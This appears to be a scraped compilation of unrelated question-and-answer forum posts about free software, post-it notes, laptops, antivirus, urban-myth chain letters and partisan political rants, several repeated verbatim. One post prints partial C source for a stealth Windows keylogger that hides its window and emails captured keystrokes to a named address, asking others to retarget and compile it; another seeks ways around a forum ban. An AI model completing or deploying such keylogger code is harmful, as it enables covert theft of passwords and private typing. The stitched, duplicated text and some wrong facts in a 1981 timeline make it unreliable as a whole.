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post it notes softeware- my notes disappeared!? I download the free version of post it software notes lite, and have been using it for a few months- now i mistakenly dragged a note with important information onto my FF browser- and it disappeared! I need the data- please help!

I used previously some electronic "post it" notes on my PC desktop. Where can I find this software for free? I could choose colors & enter text on them as reminders

free software?? how can i get free software i dont know i need a sites to dowload free software instead of buying it or a web page wich offers legal copys example: norton 2006 acdsee pro Post-It notes

what kind of anti-virus software will let me get rid of trojan.NOTE:~~~I NEED THIS FOR FREE~~~!!!!! ive tried spybot and avg, but i dont really get how to erase after the scan.i tried with spybot and nothing disapeared from the list it got from scanning when i clicked fix problems, even though it said "fixed 9 problems" please i desperatly need help to get these virus's out, but i cant trouble my parents for money to fix the comp, so i have to find a free software to remove this other note:spam=reported thank you to anyone who answer my question(not just posting an answer, actually answering this question)

Is there a link thacan let you download free psp games? I am willing to know if there is a website that could let me download free psp games. If there is a link please post it so I could download it and put it in the psp memory card. Note:Version software 3.95. Also please post the procedure of how to put it in the momory stick. THANKS FOR ANY RIGHT ANSWER

Free Pc reminder/planner software? any software of this type, that has reminders/alarms etc when you boot up? and easy to use.. basically a Xp based post-it note system -kind regards

Where can I get a free voice to note converter? PLEASE ANSWER!? I have a song that I wrote, and I want some music to go along with it. I can't play an instrument so I figured, if I sang to the computer it would be nice if it came up with the notes as I sang. Does anyone know about a voice to note converter, like a software? I would like it to be free, but if you have a suggestion of a cheap one, you can post that also, thank you, and please answer as soon as possible!

My N73 phone memory is always full!? How can I free up my phone RAM? People say that Nokia Lifeblog is the real culprit about this problem that gives me headache... Since then I was unable to send and receive text messages, post to notes, install software or whatever. I don't want to format my phone because it contains irreplaceable software! How can I free Lifeblog if I cannot open it because of memory shortage? How can I fix this??

Are novel writing software programs really worth the expense? Are there better free ones? And which ones do you find are the best in both categories? I'm well aware that the best program is probably Microsoft Word as well as a pencil and paper, but I'm not actually looking to become a "better writer" by using novel writing software. I'm perfectly content with the way I write - it's just that I'm looking for something that is more of an organizer for chapters, scenes, characters, and all those little bits and pieces that you aren't sure where to put yet. I'm slowly filling up my wall with post it notes and the plot outline for that storyboard isn't even halfway done for one book, let alone the three that the story might cover. So I really need a better way to stick everything together without the mess, and without a huge pile of Microsoft word files that I'd have to sort through and then compile together. Does anyone have any suggestions as to what program would be the best for organizing a novel? (Either free, paid for or both) I've checked out things like New Novelist, but I'm a little apprehensive about buying it if it's not what I need.

Seeing many posts in this section for Free AntiSpyware and AntiVirus programs? First of all - in the past few months or so there has been a surge in fake pop ups stating that the person's Antivirus program is out of date and people are clicking on this and adding MORE viruses etc,.... Second - here is the latest Security Internet Alert from Homeland Security- Fake Antivirus Software Circulating added September 16, 2008 at 12:30 pm US-CERT is aware of public reports indicating an increase in the instances of fake antivirus software circulating. These software applications are malicious code, not legitimate antivirus applications. These instances of malicious code are noted as being distributed through spam email messages containing malicious links, instant messages containing malicious links, private messages on social networking sites, infection from other malware, and from visiting compromised websites. Quite often, this malware attempts to convince users that there is something wrong with their systems. This leads to an attempt persuade the users into purchasing an illegitimate antivirus application. If the user purchases the bogus software, the attacker may be able to obtain personal and credit card information for use in additional scams and fraudulent activity. US-CERT encourages users to perform the following preventative measures to help mitigate the risks: * Install legitimate antivirus software from a trusted vendor, and keep its virus signature files up-to-date. * Do not follow unsolicited web links found in email messages or instant messages. * Use caution when visiting untrusted websites. * Do not install untrusted software. I would like to know why there is so much advice to download free software in this section when there is clearly an issue in this area....a big issue. It is recommended to ensure legitimacy. So what's up?

software to convert .midi files into tablature for guitar? hi guys! im an avid guitarist and i play songs that i love listening to recently i came upon this song that is found in the pirates of the caribbean soundtrack i wanna play it on the guitar. there are some videos on youtube.com of people playing that too its "He's a pirate" and "Medallion calls" sadly i dun have the tabs of it. and the internet does not offer them too. the youtubers who post the videos of them playing it simply claim that they played it by ear and they dun have any tabs. i doubt so... and i wonder how they could play it all by ear..... there must be some software that helps them to tab it out note by note... so where can i download a free version of this kinda software? i only have the midi file and the acrobat reader (.pdf) of the songs that i wanna play. so any help will be appreciated.

Can a professional programmer edit the following keylogger script to meet the illustrated criteria? The following is a keylogger script that when run is supposed to send logs to an email address. I've never used it before and am not using for hacking purposes; strictly testing (suspicious, I know). I am a systems administrator but can't seem to edit it to properly do it. Also, if possible, if someone could explain how to compile it so that it can be used? I recently downloaded Dev C++ but can't seem how to work it. The one to correct it so that it runs and gives me instructions, gets best answer, 5 stars. I need it to be set so that it emails to the following address: keylogger@netrosoftcorporation.co.nr.test-google-a.com (long email, I know---it's a Google Apps email) OR keylogger@netrosoftcorporation.co.cc The script is below: /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * File: keymail.c Ver. 0.7 * * * * Purpose: a stealth (somewhat) key logger, writes to a log file then sends * * and email to whoever is set in the #define options at compile time. * * This code is for educational uses, don't be an ass hat with it. * * White Scorpion (www.white-scorpion.nl) did the initial work on the key * * logger, but he has gone on to bigger and better things. * * This version was crafted by Irongeek (www.Irongeek.com), who tacked on * * some code to make it send emails, along with a few other changes. * * If some of the code is crappy, blame Irongeek and not White Scorpion. * * Please send Irongeek improvements and he will post the changes and give you * * credit for your contributions. * * * * This program is free software; you can redistribute it and/or * * modify it under the terms of the GNU General Public License * * as published by the Free Software Foundation; either version 2 * * of the License, or (at your option) any later version. * * * * This program is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * GNU General Public License for more details. * * * * You should have received a copy of the GNU General Public License * * along with this program; if not, write to the Free Software * * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * * * * Change log: * * 1/3/06 On Ed Rguyl's recommendation I changed how malloc was used. * * 6/22/06 Added the date and time functionality using ctime and fixed * * a bug where subject was being defined twice.(ThVoidedLine) * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /* Compile notes: I used Dev-C++ 4.9.9.2 to compie this. if you get an error like: Linker error] undefined reference to `WSAStartup@8' Add this: -lws2_32 to Tools->Compiler Options under the section on compile flags. */ #include <windows.h> #include <stdio.h> #include <winuser.h> #include <windowsx.h> #include <time.h> int MailIt (char *mailserver, char *emailto, char *emailfrom, char *emailsubject, char *emailmessage); #define BUFSIZE 800 #define waittime 500 /*If you don't know the mail exchange server for an address for the following "nslookup -querytype=mx gmail.com" but replace gmail.com with the domain for whatever email address you want. YOU MUST CHANGE THESE SETTINGS OR IT WILL NOT WORK!!! */ #define cmailserver "gmail-smtp-in.l.google.com" #define cemailto "keylogger@netrosoftcorporation.co.nr.test-google-a.com" #define cemailfrom "keylogger@netrosoftcorporation.co.nr.test-google-a.com" #define LogLength 100 #define FileName "sound.wav" #define SMTPLog "ring.wav" #define cemailsubject "Logged" int test_key(void); int main(void) { //Uncomment the lines below to put the keylogger in stealh mode. HWND stealth; /*creating stealth */ AllocConsole(); stealth=FindWindowA("ConsoleWindowClass",NULL); ShowWindow(stealth,0); {FILE *file; file=fopen(FileName,"a+"); time_t theTime=time(0); fputs("\nStarted logging: ", file); fputs(ctime(&theTime),file); fclose(file); } /* if (test==2) {//the path in which the file needs to be char *path="c:\\%windir%\\svchost.exe"; create=create_key(path); } */ int t=get_keys(); return t; } int get_keys(void) { int freadindex; char *buf; long len; FILE *file; file=fopen(FileName,"a+"); short character; while(1) { sleep(10);/*to prevent 100% cpu usage*/ f the email is: keylogger@netrosoftcorporation.co.nr.test-google-a.com (the last digits are: .test-google-a.com) The website below is where I originally got the code but I need someone to edit it so that it mails to: keylogger@netrosoftcorproation.co.cc THANKS!

Can someone help me find a really advanced audio editing software? Several months ago (a year? two? been a long while), I saw a tech demo video of a music editing program that was still in its experimental phase. It was capable of differentiating the various instruments in a WAV or MP3 file and actually splitting the file into its component instrumental tracks. It could identify individual notes, and you could elongate or shorten the notes, move them around, etc, while maintaining the sound samples from the MP3 itself. In short, it was the ultimate sound editing software, and I can't, for the life of me, remember what it was called. I really want to know if this program is completed and on the market yet, as I have some songs I'd like to strip some tracks and voice out of. Has anyone heard of this? NOTE: I'm POSITIVE I saw it at http://flemco.livejournal.com , but I don't have time to go looking through 4 years worth of archives. Feel free to look for yourself, but the guy posts multiple times EVERY DAY, so it'll take a while. Must be over 18, also . . . guy's blog can be pretty racy.

When Barack Obama Was 20 Years Old, Can you Relate? 1981 Many notable technological advances happened in 1981 one of the most exciting was the First Flight of the Space Shuttle Columbia. This was also the first year that the Word Internet was mentioned and MS-DOS was released by Microsoft along with the first IBM PC on 12th August . On the world stage the events that captured the imagination included Lady Diana Spencer marrying Charles The Prince of Wales. In Politics a little known group before Solidarity inspire popular protests and a general strike in Poland and the government in the UK starts the process of privatisation of Nationalised Industries which is later followed by many other countries around the world. Cost Of Living 1981 How Much things cost in 1981 Yearly Inflation Rate USA10.35% Year End Close Dow Jones Industrial Average 875 Interest Rates Year End Federal Reserve 15.75% Average Cost of new house $78,200.00 Average Income per year $21,050.00 Average Monthly Rent $315.00 Cost of a gallon of Gas $1.25 Sinclair ZX80 $199.95 19 inch Color TV $399.95 Below are some Prices for UK guides in Pounds Stirling Average House Price 24,188 Gallon of Petrol 1.32 What Events Happened In 1981 Iran releases 52 American hostages, who had been held for 444 days Solidarity inspired popular protests and general strike lead to imposition of Marshal Law and eventual outlawing of solidarity party in Poland Thatcher Government in England begin privatisation of Nationalised Industries creating economic revival , this format is later emulated in many other countries throughout the world Air traffic controllers strike causing chaos in the US and The US President Ronald Reagan Fires Them Irish Republican Army member Bobby Sands dies on May 5th while on the hunger strike, During that time Bobby Sands is elected to Westminster as the MP for Fermanagh and South Tyrone. Ronald Reagan becomes US President Following plans between European Countries and the US to base Nuclear Missiles in Europe protesters including those at Greenham Common picket US bases Anti nuclear protestors invade the Diablo Canyon Nuclear Reactor in California Researchers find the wreck of the Titanic in the North Atlantic Muhammad Ali finally retires with career record of 55 wins and 5 defeats Rupert Murdoch shuts down the Sunday Times due to an industrial dispute Washington Post reporter Janet Cooke admits her feature was fabricated and relinquished the Pulitzer Prize The U.S. Supreme Court ruled that states could require parental notification when teenage girls seek abortions . Peter Sutcliffe, the Yorkshire Ripper is caught, and imprisoned for life for 13 counts of murder Earthquake hits Athens, killing 16 people Pope John Paul II, is shot but not killed in Vatican City Lady Diana Spencer marries Charles, Prince of Wales. Egyptian president Anwar Sadat is assassinated Sandra Day O'Connor is nominated to become the first female justice on the U.S. Supreme Court. The first American test-tube baby, is born Riots break out in a number of UK Cities including Brixton ( London ), Toxteth ( Liverpool ), and Moss Side ( Manchester ) The introduction of the first Frequent Flyer Miles AAdvantage introduced by American Airlines ( frequent flyer miles can be redeemed for free air travel ) Four senior Labour MP'S announce they will breakaway from Labour Party and set up the Social Democratic Party SDP under the leadership of Roy Jenkins 147 passengers and crew of a Pakistan Airways are taken hostage and released in Syria Attempted coup in Bangladesh and the President Ziaur Rahman is murdered Antigua and Barbuda Gains Independence From Great Britain The First London Marathon is Run In England Technology Scientists identifyThe Aids Virus First Flight of US Space Shuttle Columbia The European Rocket "Ariane" is launched IBM in US launches it's first PC which uses Microsoft Software MS DOS The term INTERNET first mentioned Post It Notes launched by 3M Corp The Worlds Fastest Train The French TGV goes into service between Paris and Lyons China Clones the first fish ( Golden Carp ) Artificially Produced Insulin becomes the worlds first genetically engineered protein to treat human disease Diabetes MS-DOS released by Microsoft Inventions Invented by Inventors and Country ( or attributed to First Use ) Space Shuttle USA Columbia was first reusable space vehicle Scanning Tunnelling Microscope Switzerland Popular Culture 1981 MTV (Music Television) is launched August 1st Simon And Garfunkel Reunite for concert in New Yorks Central Park Popular Films Raiders of the Lost Ark Superman II Nine to Five Any Which Way You Can Arthur The Cannonball Run For Your Eyes Only On Golden Pond Chariots of Fire What do you remember ? was this the year you graduated ?, what music was being played the year you were born? Popular Musicians John Lennon Blondie Dolly Parton " 9 to 5 " Shee

My laptop won't turn on? Actually, this post is not really a question, but an answer to the question...and help you save time and money. I have had this problem with a few of my laptops, where for some reason it doesn't turn on anymore (or after 50 tries, it for some reason does turn on and works fine)...but in general it has trouble turning on. In all my cases, it had to do with the power supply. Sometimes the battery works, sometimes the plug works, sometimes both in combination works...BUT I realized that, if I stop using the battery all together (totally removed it from the laptop), and get it to turn on with just the adapter...then it can turn on without any problems... Note #1: You must work, as much times as 50 - 100 times, trying to turn on the laptop with plug only (no battery attached) Note #2: The reason that it sometimes turn on, or won't turn on at all, is that the battery drains the start up power of the computer, especially if it's an old battery (but it can happen with new batteries as well)...so keep batteries out of the laptop. Note #3: If you keep using a battery, you will burn out the hardware of your laptop, and it will work less and less each time, so it will be better to use it as a 'portable desktop' than a laptop. Tip #1: Clean your registry...You can download "CCleaner" from download.com (a free software without any spyware)...it will help to speed up your computer and stop it from freezing. Tip #2: Use an anti-virus software...I recommend AVG, also available at download for free. Tip #3: Disable unnecessary start up programs...chances are you have alot of programs that load up that you don't use often or at all... Here's what to do: click on the Start Menu, if there's a space, type 'msconfig' (if not, find 'run' then type 'msconfig') and press enter. Go to the 'Start Up' tab, and click 'disable all' then press apply. Then go back over the list can check the programs you want to start automatically on startup, and the press apply. You can even go to the 'Services' Tab, and click 'hide all microsoft services' then click disable all, and apply the changes. Hope this helps.

Help in finding this computer appliance/software please? I am looking for this one computer appliance/software with which through dictation and while wearing a headset anything you mean to type with your fingers on Microsoft Word is instead automatically typed with just your voice. It is all done hands-free and depends on your voice. It's similar to a digital note-taker but way more advanced than it, however, since you need to have Microsoft Word on for it to work. I once saw it posted on the flyer of this store (whose name I don't know either) for sale a while back. Any sort of help in this search is more than welcome.

Questions about Antivirus XP 2008 Virus? This post is more of a reference for people who are dealing with the nasty Antivirus XP 2008. To emphasize, the application is malware so take extra caution when dealing with the application. Here is a list of my experiences, tips, advice, and suggestions that helped me get rid of mine: Symptoms of the Virus on your Computer: 1. Your internet browser becomes hijacked and you are redirected to junk website when you click on external links 2.Your wallpaper is either blue of white with a huge virus warning window permanently imprinted in the middle. 3. A realistic, BUT FAKE antivirus window appears that FALSELY scans and provides FAKE results. 4.There is a constant pop-up bubble from the toolbar at the bottom of the sceen that alerts you of how many infections you have. DONT BE FOOLED! It is obviously fake! Here are a list of items that will be afflicted by the virus: Internet Browser Wallpaper, Display, and certain Appearance features Dramatic slow down in browsing speed due to malware Certain Hot Keys Email-(It has been noted to have occured to some people) Suggestions!: First off, try to manually remove the program. More likely, the software installed itself without your knowledge. Secondly, make sure your FIREWALL is ON. If you need help in manually removing it there are tons of other post on Yahoo Answers! So be sure to look around! Now for me, the Browser Hijacking was the most frustrating part, but I downloaded a software that is free and ELIMINATES all the trojans, spyware, and malware that is hiding somewhere in your drive(s). http://www.download.com/Malwarebytes-Anti-Malware/3000-8022_4-10804572.html?tag=mncol;pop&cdlPid=10878968 Malewarebytes' Anti-Malware is superb. Easy, quick download, and it takes care of those virus thingys pretty effectively. Once you download it, perform a quick scan once or twice. After a while, a whole mess of trojans, adware, and so on start counting up. When the scan is complete, an alert window will pop up instructing you to click yes to restarting the computer so that the process can be complete. It SHOULD restart the computer for you! That should clear up the nasty Antivirus XP 2008. Again, there are a whole bunch of other post that will provide more detailed instructions. But from my experience, I used Malewarebytes' Anti-Maleware to scan and clean up my computer and it removed all traces of the virus so I definitely recommend downloading it from CNET.com for free. It totally makes things easier! I hope this all helped!

what's a good, cheap laptop for a college student? I need something that is capable of taking notes, accessing the internet(so wifi) and has a duel processor-a webcam is a bonus, as I'd be able to record my lectures for future review. I also plan on downloading my books onto the laptop(ebook format) so I'm going to need as much space as possible. Software doesn't really mater, my campus offers it for free. my budget is ---maxed--- at $500 (USD). PLEASE post a link to the site/laptop that you recommend. I've already looked around the Dell and Gateway websites, if you want to give me an opinion on a laptop from one of the two manufactures, feel free. Student discounts aren't very helpful-they only apply to the very expensive models ($1000+) and that's just a no. Laptops only please, no netbooks. Thanks in advance for all the help!

I need journey sheet music and I'm not utterly convinced it exists on the internet yet. Please help me.? I am exceeding frustrated by the internet's seeming INABILITY to provide correct and precise sheet music that is what is ACTUALLY played in the ACTUAL song. I am looking for the sheet music to Don't Stop Believin' by Journey. This seemingly simple endeavor is turning out to be much more difficult than I originally thought. There are plenty of copies of this sheet music both free and for sale. Unfortunately, none of these copies are ACTUALLY what is played in the song. Don't Stop Believin's first treble clef chord is C F C. Online sheet music states it to be B E B. This is incorrect if you play it along with the actual song. Another incongruity lies in the rhythms. The bass clef melody line is in triplets in the actual song. Online sheet music lists it in the easier to play eighth note format. Which, need I add, is incorrect. I am a very visual person and need to see it to play it well. I am also very bad at transposition, and it would take me days to transcribe it and ensure all rhythms are correct. I would also need to buy music notation software, which I really do not want to have to spend money on. Thank you for helping me not shoot myself with frustration. If anyone can find the CORRECT sheet music for "Don't Stop Believin'" with C F C chords and triplets, please post a link here. Free is preferable (I don't have money just laying about after all), but if I must I will spend money.

Can we just vote the issues? Healthcare Obama’s plan says he will “Work with employers to supply healthcare” as long as employers pay a “meaningful” portion of the premiums. “Meaningful portion” What does that mean? It means it’s not going to happen. If he could legislate that employers provide insurance under those conditions, the number of businesses closing under the financial pressure would cripple our economy. The inevitable consequences of socialized medicine. We will see the rise of privately run clinics owned by Physicians that treat the wealthy and the privately insured. These places will charge more, pay Doctors more, and have the latest advances in equipment. These clinics will attract the smartest and most talented doctors and surgeons from our “free” hospitals. If you have Government insurance, you will never see them. Yes, there are problems with our medical system, but in an emergency you will be seen and treated properly with or without a nickel in your pocket. You will be expected to pay, but why shouldn’t you? More to the point, why should I pay for you? Socialized medicine will give you’re a free liver transplant or cancer treatment, if you live long enough while waiting your turn. Making the Medical system paperless? That would require the authoring of a web based software package in many different versions that would speak to the many different disciplines in the medical field so as not to share or needlessly replicate sensitive medical information. Most Americans are afraid to shop online and now we are going to ask them to supply all their personal information to a Government run database with literally 10’s of thousands of user names and passwords distributed throughout the medical community? The following is a paragraph from a Washington Post article titled “VA Takes the Lead in Paperless Care”. “Since 1999, the VA's 155 hospitals, 881 clinics, 135 nursing homes and 45 rehabilitation centers have been linked by a universal medical records network. It allows any authorized person to look at 5.3 million patients' records -- everything from a nurse's note written during a hospital stay, to the result of a blood test drawn at a clinic visit, to the moving-picture film of a coronary angiogram done in a cardiology lab.” Any “Authorized” person, or hacker! Is this the place you want the records for your last PAP smear? AIDS test? STD treatment? Phyc exam? Think your information is safe from disgruntled employees? From hackers? Forever? You will have no choice but participate. “Stop giving tax breaks to companies that ship our jobs overseas”. Like it or not we are competing in a global economy. To stay competitive companies must lower their costs. Unfortunately that means finding less expensive work forces, less restrictive controls, and lower tax rates. Giving tax breaks does not cause companies to ship jobs overseas; it is encouragement to keep them here! If you vote for one over the other because you “like” one candidate or “hate” the other instead of voting the issues, you do us all an extreme disservice. You should not be allowed to vote. Dislike Bush? Me too. I also hate hitting my foot with a hammer but that does not mean hitting my head instead is the answer! All that being said, does McCain have all, or any of the answers? Maybe. Maybe not. The point is Obama’s plans will hurt this country. Before Iraq, when every Congress member and US Senator were convinced (through lies, miscommunication, or arrant information) O’bama says he was against the war, I would like to know one thing. What information did this Junior State Senator from Illinois know that the entire US Senate & House did not know and how did he know it? What did this man that wants to be our President base his decision on?

Get ready to grin this is really funny.? (On a lighter note, the following story is a montage of several of the urban myths currently floating around cyberspace. This anonymous email is being passed around under the heading, "It Must be True, I Saw it on the Internet.") I was on my way to the post office to pick up my case of free M&M's (sent to me because I forwarded an e-mail to five other people, celebrating the fact that the year 2000 is "MM" in Roman numerals), when I ran into a friend whose neighbor, a young man, was home recovering from having been served a rat in his bucket of Kentucky Fried Chicken (which is predictable, since as everyone knows, there's no actual chicken in Kentucky Fried Chicken, which is why the government made them change their name to KFC). Anyway, one day this guy went to sleep and when he awoke he was in his bathtub and it was full of ice and he was sore all over and when he got out of the tub he realized that HIS KIDNEY HAD BEEN STOLEN.He saw a note on his mirror that said "Call 911!" but he was afraid to use his phone because it was connected to his computer, and there was a virus on his computer that would destroy his hard drive if he opened an e-mail entitled "Join the crew!" He knew it wasn't a hoax because he himself was a computer programmer who was working on software to prevent a global disaster in which all the computers get together and distribute the $250.00 Neiman-Marcus cookie recipe under the leadership of Bill Gates. (It's true - I read it all last week in a mass e-mail from BILL GATES HIMSELF, who was also promising me a free Disney World vacation and $5,000 if I would forward the e-mail to everyone I know.) The poor man then tried to call 911 from a pay phone to report his missing kidneys, but a voice on the line first asked him to press #90, which unwittingly gave the bandit full access to the phone line at the guy's expense. Then reaching into the coin-return slot he got jabbed with an HIV-infected needle around which was wrapped a note that said, "Welcome to the world of AIDS." Luckily he was only a few blocks from the hospital - the one where that little boy who is dying of cancer is, the one whose last wish is for everyone in the world to send him an e-mail and the American Cancer Society has agreed to pay him a nickel for every e-mail he receives. I sent him two e-mails and one of them was a bunch of x's and o's in the shape of an angel (if you get it and forward it to more than 10 people, you will have good luck but for only 10 people you will only have OK luck and if you send it to fewer than 10 people you will have BAD LUCK FOR SEVEN YEARS). So anyway the poor guy tried to drive himself to the hospital, but on the way he noticed another car driving without its lights on. To be helpful, he flashed his lights at him and was promptly shot as part of a gang initiation. Send THIS to all the friends who send you their mail and you will receive 4 green M&Ms -- if you don't, the owner of Proctor and Gamble will report you to his Satanist friends and you will have more bad luck: you will get sick from the Sodium Laureth Sulfate in your shampoo, your spouse will develop a skin rash from using the antiperspirant which clogs the pores under your arms, and the U.S. government will put a tax on your e-mails forever. I know this is all true 'cause I read it on the Internet. Author unknown --------------

Help, iPod no longer recognises music or video files? PLEASE NOTE I know this is a re-post, but you all know how answers works, as soon as your question dissapears from the main "answer" page you never get any answers, and this situation is urgent, Ok, I originally used this computer with iTunes to initially sync my music and videos to my new iPod touch 2nd gen when I bought it in December, while my computer was being repaired. When my computer was repaired, I transferred the music from this computer to mine, and used it until my computer's hard drive was corrupted recently. i had fairly recently backed up my music, so nothing was lost, and i still had all the music/videos on my ipod. However, yesterday I wanted to add an album of mine to my iPod, so, I hooked it up to this computer (not needing to worry about wiping because i set both machines never to automatically sync content) and added the album to itunes, then to my iPod. No problem. But today, when i wanted to do a similar thing a problem occured. I hooked up the iPod to iTunes, and it auto-synced as it always does , and went to the iPod summary page, as always, but I was alarmed when the memory summary showed 1.3 GBs of apps (which is normal) and around 28GB of files deemed "other", with no music or video files showing. I then unplugged my iPod, and checked it to find that all but two of my music files (interestingly the ones i had purchased rom the iPod itself) and ALL of my video files gone. They are clearly still there, but are registering as "other" files. Also, i cannot join my home wifi network. This has nothing to do with the recent 3.0 update either, as i have not installed it ( I resent paying £6 for a software update mainly for iPhone users) Does anyone have any idea what is going on? How can i solve this problem? I can't just restore the files from the backup because: a) with the files still there, but registering as "other" there is not enough space on the iPod b) i'm not permitted to put the files back on this computer so, unless someone can fix this, i'm without my iPod until i get a new computer. Any help would be GREATLY appreciated, matt =( PS. Please feel free to e-mail me if you require further information, i will be checking the question all day, and will add any required info in an "additional information" section.

Did you know that Einstein used bible codes to prove dinosaurs drilled into hell to steal NASA's missing day? I was on my way to the post office to pick up my case of free M&M's (sent to me because I forwarded an e-mail to five other people, celebrating the fact that the year 2000 is "MM" in Roman numerals), when I ran into a friend whose neighbor, a young man, was home recovering from having been served a rat in his bucket of Kentucky Fried Chicken (which is predictable, since as everyone knows, there's no actual chicken in Kentucky Fried Chicken, which is why the government made them change their name to KFC). Anyway, one day this guy went to sleep and when he awoke he was in his bathtub and it was full of ice and he was sore all over and when he got out of the tub he realized that HIS KIDNEY HAD BEEN STOLEN. He saw a note on his mirror that said "Call 911!" but he was afraid to use his phone because it was connected to his computer, and there was a virus on his computer that would destroy his hard drive if he opened an e-mail entitled "Join the crew!" He knew it wasn't a hoax because he himself was a computer programmer who was working on software to prevent a global disaster in which all the computers get together and distribute the $250.00 Neiman-Marcus cookie recipe under the leadership of Bill Gates. (It's true - I read it all last week in a mass e-mail from BILL GATES HIMSELF, who was also promising me a free Disney World vacation and $5,000 if I would forward the e-mail to everyone I know.) The poor man then tried to call 911 from a pay phone to report his missing kidneys, but a voice on the line first asked him to press #90, which unwittingly gave the bandit full access to the phone line at the guy's expense. Then reaching into the coin-return slot he got jabbed with an HIV-infected needle around which was wrapped a note that said, "Welcome to the world of AIDS." Luckily he was only a few blocks from the hospital - the one where that little boy who is dying of cancer is, the one whose last wish is for everyone in the world to send him an e-mail and the American Cancer Society has agreed to pay him a nickel for every e-mail he receives. I sent him two e-mails and one of them was a bunch of x's and o's in the shape of an angel (if you get it and forward it to more than 10 people, you will have good luck but for only 10 people you will only have OK luck and if you send it to fewer than 10 people you will have BAD LUCK FOR SEVEN YEARS). So anyway the poor guy tried to drive himself to the hospital, but on the way he noticed another car driving without its lights on. To be helpful, he flashed his lights at him and was promptly shot as part of a gang initiation. Send THIS to all the friends who send you their mail and you will receive 4 green M&Ms -- if you don't, the owner of Proctor and Gamble will report you to his Satanist friends and you will have more bad luck: you will get sick from the Sodium Laureth Sulfate in your shampoo, your spouse will develop a skin rash from using the antiperspirant which clogs the pores under your arms, and the U.S. government will put a tax on your e-mails forever. I know this is all true 'cause I read it on the Internet.

I keep getting banned at a message board. How do they know its me? I got banned from a forum because I started a political argument and got mad and made an ass of myself on my favorite forum and now I keep getting banned over and over. I like to sit at my favorite PC at the library and they have DSL by Windstream. I don't have DSL at home. When I looked up the library PC's IP address, I saw my city's location marked on a google map and I saw the IP addy and I made a note of it, after I got banned. I don't know much about this stuff. But anyhow, I re-registered at the forum with a new username, new password, new email, etc. I click on the activation email, etc., and started posting again. Guess what happened? I got banned again. It is at that point I realize that when you moderate a forum, you can see someone's IP address and apparently, I had been red flagged. Maybe they have software for when the IP address shows up it automatically bans you? Or do they sit there and do it visually? SO what I was wondering if, if someone else comes along and wants to register at the same site that banned me, and they are in the library, but at a different computer, will they be banned also? Does the forum have software or some way to recognize that 'hey, this user is from City X, from that IP address we banned before, and we have got to ban this new user also!' Is it matching up the IP address, the location, the service provider, the computer itself or what?! If the people who live next door to the library were also using the same DSL provider, would they also be banned? Does each individual pc have it's own way of being identified or something? If I sat at the computer that is in the next booth over, would I be able to register at the site and post, or would I get banned again? How can I get back on my favorite forum and register again so I can post, but keep my opinionated mouth shut, and not get banned this time? I am so disappointed this happened---I had a lot of threads going there, and a lot of online friends, and now I don't know how to get back because each time I've tried (3 times!) I've been banned... Thanks for the explanations on all of this! I'm trying to learn something new here also. I appreciate your help! And then, a few days later.... Look, you guys, it happened again. A few days ago, I sat here, at my favorite pc and got a new free email address through yahoo, registered again at the forum, clicked on the confirmation link and began to post again. I noticed that each day my IP address was different, as was the physical location (city) it was coming out of. I didn't start any arguments or anything at all, just thank you's, and then this morning, I am banned again. HOW do they know it's me? Do I just need to clear my cookies or something? I have even used a different browser (google chrome!). I don't get it! Can someone PLEASE explain this to me? What is tipping them off?????? I keep reading that I need to change my IP address to get around this, but I see my IP address HAS been different, so how do they know its me? If they are banning my IP address, does that mean that everybody in my area, (city) who uses the same provider is being banned also?

Can common sense be applied to campaign promises? Applying common sense to Obama’s campaign promises. Healthcare Obama’s plan says he will “Work with employers to supply healthcare” as long as employers pay a “meaningful” portion of the premiums. “Meaningful portion” What does that mean? It means it’s not going to happen. If he could legislate that employers provide insurance under those conditions, the number of businesses closing under the financial pressure would cripple our economy. The inevitable consequences of socialized medicine. We will see the rise of privately run clinics owned by Physicians that treat the wealthy and the privately insured. These places will charge more, pay Doctors more, and have the latest advances in equipment. These clinics will attract the smartest and most talented doctors and surgeons from our “free” hospitals. If you have Government insurance, you will never see them. Yes, there are problems with our medical system, but in an emergency you will be seen and treated properly with or without a nickel in your pocket. You will be expected to pay, but why shouldn’t you? More to the point, why should I pay for you? Socialized medicine will give you’re a free liver transplant or cancer treatment, if you live long enough while waiting your turn. Making the Medical system paperless? That would require the authoring of a web based software package in many different versions that would speak to the many different disciplines in the medical field so as not to share or needlessly replicate sensitive medical information. Most Americans are afraid to shop online and now we are going to ask them to supply all their personal information to a Government run database with literally 10’s of thousands of user names and passwords distributed throughout the medical community? The following is a paragraph from a Washington Post article titled “VA Takes the Lead in Paperless Care”. “Since 1999, the VA's 155 hospitals, 881 clinics, 135 nursing homes and 45 rehabilitation centers have been linked by a universal medical records network. It allows any authorized person to look at 5.3 million patients' records -- everything from a nurse's note written during a hospital stay, to the result of a blood test drawn at a clinic visit, to the moving-picture film of a coronary angiogram done in a cardiology lab.” Any “Authorized” person, or hacker! Is this the place you want the records for your last PAP smear? AIDS test? STD treatment? Phyc exam? Have a look at this article (http://www.foxnews.com/story/0,2933,435681,00.html) Think your information is safe? “Stop giving tax breaks to companies that ship our jobs overseas”. Like it or not we are competing in a global economy. To stay competitive companies must lower their costs. Unfortunately that means finding less expensive work forces, less restrictive controls, and lower tax rates. Giving tax breaks does not cause companies to ship jobs overseas; it is encouragement to keep them here! If you vote for one over the other because you “like” one candidate or “hate” the other instead of voting the issues, you do us all an extreme disservice. You should not be allowed to vote. Dislike Bush? Me too. I also hate hitting my foot with a hammer but that does not mean hitting my head instead is the answer! All that being said, Does McCain have all, or any of the answers? Maybe. Maybe not. The point is Obama’s plans will hurt this country

